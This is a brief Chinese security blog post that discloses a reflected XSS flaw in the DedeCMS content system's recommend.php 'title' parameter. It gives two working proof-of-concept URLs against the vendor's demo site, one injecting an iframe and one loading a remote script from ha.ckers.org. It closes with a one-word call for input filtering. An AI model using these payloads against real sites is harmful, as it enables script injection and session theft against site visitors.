Dedecms最新版一处反射型XSS漏洞 – 网站安全 – 自学

2020-10-11 分类：黑客攻防阅读(656) 评论(0) 扫描二维码

Dedecms 一处 XSS漏洞,有图就有真相

http://v57.demo.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3Ciframe%20src=//www.baidu.com%3E%3C/iframe%3E

http://v57.demo.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3CSCRIPT%20SRC=//ha.ckers.org/xss.js%3E%3C/SCRIPT%3E

过滤！